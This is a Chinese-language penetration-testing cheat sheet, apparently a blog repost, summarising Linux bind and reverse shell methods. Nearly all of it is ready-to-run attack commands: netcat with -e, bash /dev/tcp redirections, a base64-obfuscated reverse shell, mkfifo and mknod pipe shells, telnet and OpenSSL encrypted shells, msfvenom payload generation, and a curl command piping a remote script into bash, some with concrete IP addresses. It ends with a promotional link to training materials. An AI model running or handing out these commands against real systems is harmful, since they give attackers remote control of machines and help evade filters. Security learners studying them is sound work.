干货 | Linux之渗透测试常用反弹shell方法总结

1

免责声明

本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。

2

内容速览

反弹shell介绍

反弹shell主要就是让我们能远程连接到目标控制台并且下达指令,来达到操控目标资产的目的!
反弹shell分为:

正向反弹: 控制端(也就是我们自己的机器)发送请求去连接被控端(目标机器)的方式。

不过这种方式会受到防火墙,路由,等各种很多因素影响,很难成功。

反向反弹: 被控端主动发送请求连接我们的控制端。

这种方法是可以想办法避开防火墙和路由的一些限制的!

常用反弹方式

测试机器:

  • kali: 192.168.1.200(可连通外网,我一般用他作为攻击机,控制端)
  • contos7: 43.128.11.131(腾讯云的一台vps,我一般用他作为常规服务器,被控端)
NetCat(NC)反弹

无论是Windows还是Linux都是可以使用NC进行反弹的。

正向NC

正向的时候,我们需要先在被控端开启指定端口的监听,然后在使用控制端去连接

# 被控端(l:监听模式,p:指定端口号,v:详细信息(这里的信息指的是指令执行过程),vv是更详细的信息)
nc -lvvp 端口号 -e 使用的sh
# 比如:
nc -lvvp 4578 -e /bin/bash
# 控制端
nc 目标IP 端口号
# 比如
nc 43.128.11.131 4578
# msf的攻击载荷(不太推荐使用nc作为msf的正向连接工具,稳定性比较差,一般只能上线shell,很难获得稳定的meterpreter)
payload/cmd/unix/bind_netcat
payload/cmd/unix/reverse_netcat


反向NC

被控端反向shell种类非常多

可以使用在线工具生成: https://weibell.github.io/reverse-shell-generator/

下面我会详细剖析一些常用的被控端反向shell的命令原理!

使用正向shell的大多数场景是已经在目标内网中,几乎不存在太多安全措施的情况下,一般不重视如何绕过防火墙杀软之类的检测

但反向shell不同,一般反向shell需要攻击的目标都是和外网有之间连接的机器,这种机器一般都会有一些安全措施

为了防止被这些安全措施拦截,我们可能会用一些花里胡哨的方法来迷惑安全措施。

# 控制端:
nc –lvvp 端口
# 被控端:
nc -e /bin/bash IP 端口


一般直接使用nc反弹的shell并不是很稳定
并且可能还会出现没有-e参数的情况(-e: 程序重定向,一但连接就执行,这是一个危险参数,所以可能目标nc会不支持此参数)

这时候我们还一些在被控端执行的反弹shell命令同样可以自行,并且是完全兼容控制端nc的命令的!

# 其他反弹shell命令
# 最基础的命令,下面有详解
bash -i >& /dev/tcp/IP/端口 0>&1
## 这个命令和上面的是等价的,只是写法有点不同!
bash -i > /dev/tcp/IP/端口 0>&1 2>&1
## `exec 5<>/dev/tcp/IP/端口`这里自定义了一个文件描述符
## `cat <&5`这里是读取我们自定义的文件描述符文件,并且使用管道符传给接下来的命令
## `while read line; do $line 2>&5 >&5`这里是创建一个变量line,然后读取上一步传来的数据中的每一段然后在将标准输出和错误输出都重定向到我们自定义的文件描述符5中
exec 5<>/dev/tcp/IP/端口;cat <&5 | whileread line; do$line 2>&5 >&5; done
## 这里和上面类似,这里创建的文件描述符是181,并且在一开始就将输入重定向到181这个文件描述符中。
0<&181-;exec 181<>/dev/tcp/IP/端口;sh <&181 >&181 2>&181

## 这里和第一个命令一样,只是多了一层base64的编码!
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC/nq6/lj6MgMD4mMQ==|base64 -d|bash -i"
# msf攻击载荷
cmd/unix/bind_netcat
cmd/unix/reverse_netcat


如果目标机器/dev/tcp也无法使用,这可以尝试使用下面方法!

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc IP 端口 >/tmp/f
mknod backpipe p; nc IP 端口 0<backpipe | /bin/bash 1>backpipe 2>backpipe

# 使用msf生成
## 比如
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.1 lport=4578 -f raw
mkfifo /tmp/ysngi; nc 192.168.1.1 4578 0</tmp/ysngi | /bin/sh >/tmp/ysngi 2>&1; rm /tmp/ysngi


rm /tmp/临时文件;mkfifo /tmp/临时文件;cat /tmp/临时文件 | /bin/bash -i 2>&amp;1 | nc IP 端口 >/tmp/临时文件

rm /tmp/临时文件: 首先删除临时文件,以免造成冲突,(后面的分号;表述依次逐个执行后面的命令。)

mkfifo /tmp/临时文件: mkfifo是Linux中专门用来创建管道的命令,具体作用如下图,我们可以在一个终端中创建一个管道符

传入一个命令后,在另一个终端接收即可获取数据(使用重定向符<的话可以持续接收!比如cat < 临时文件)

cat /tmp/临时文件 | /bin/bash -i 2>&amp;1 | nc IP 端口 >/tmp/临时文件

cat /tmp/临时文件: 首先读取新创建的临时文件,并将内容通过管道符传给下一个命令

/bin/bash -i 2>&amp;1 | nc IP 端口 >/tmp/临时文件: 先将上一步获取到的命令在bash终端中执行,并将结果通过nc输出到目标,并且将目标的命令重新写入临时文件

msf可以自动的快速生成这种命令!

mknod backpipe p; nc IP 端口 0<backpipe | /bin/bash 1>backpipe 2>backpipe

mknod 设备名 p: 创建字符设备文件和块设备文件(类似我们插入u盘之类的那种设备文件!)这里的创建p表示创建 FIFO(已命名的管道)

Telnet反弹

telnet命令: 用于登录远程主机,对远程主机进行管理

它是ssh前辈,但因为安全性方面远不如ssh

甚至直接是使用明文传输数据的,已经逐步被弃用了

但我们依旧可以尝试使用它在一些仍然开启Telnet服务的机器中尝试反弹shell。

正向shell
# 攻击机开启两个端口进行监听一个用于输入,一个用于输出
nc -lvvp 输入端口
nc -lvvp 输出端口
# 目标机
telnet 47.101.214.85 输入端口 | /bin/bash | telnet 47.101.214.85 输出端口

反向shell
# 攻击机
nc -lvvp 端口
# 目标机:
rm -f a && mknod a p && telnet IP 端口 0<a | /bin/bash 1>a
rm -f a;mknod a p;telnet IP 端口 0<a | /bin/bash 1>a


OpenSSL

SSL是安全套接字协议,而OpenSSL是Linux系统中强大的安全套接字层密码库

具体他的用法这里就不介绍了,下面只会提到和反弹shell有个的一些内容。

首先我们利用此库反弹shell,需要生成一个秘钥文件

# 生成秘钥(在我们攻击机上生成的)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
# 在攻击机中启动监听(在之前生成秘钥的文件夹中执行)
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
# 在目标机器上反弹shell
mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect IP:443 > /tmp/s;rm /tmp/s


所有选项都可以选择默认的(这里我就把地区改成了我认为的中国,不确定是对的,但不影响)

Curl

没错,这就是Linux系统中的下载命令

因为有时候可能我们拿下的webshell有一些过滤机制,会把我们的反弹shell中一些关键词过滤掉,导致一直反弹失败,这时候我们可以尝试使用这种方法来执行!

首先我们需要在公网服务器中创建一个index.html文件

并且在其中写入反弹shell命令,然后开启http服务,并且开始监听之前的反弹shell命令指定的端口。

# 攻击端:
echo'bash -i >& /dev/tcp/IP/端口' > index.html
# 比如
echo'bash -i >& /dev/tcp/43.128.11.131/4545' > index.html
# 这里&是让这个命令后台执行
python3 -m http.server &
nc -lvvp 4545
# 目标机:
curl 43.128.11.131:8000|bash


网络安全学习资源

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐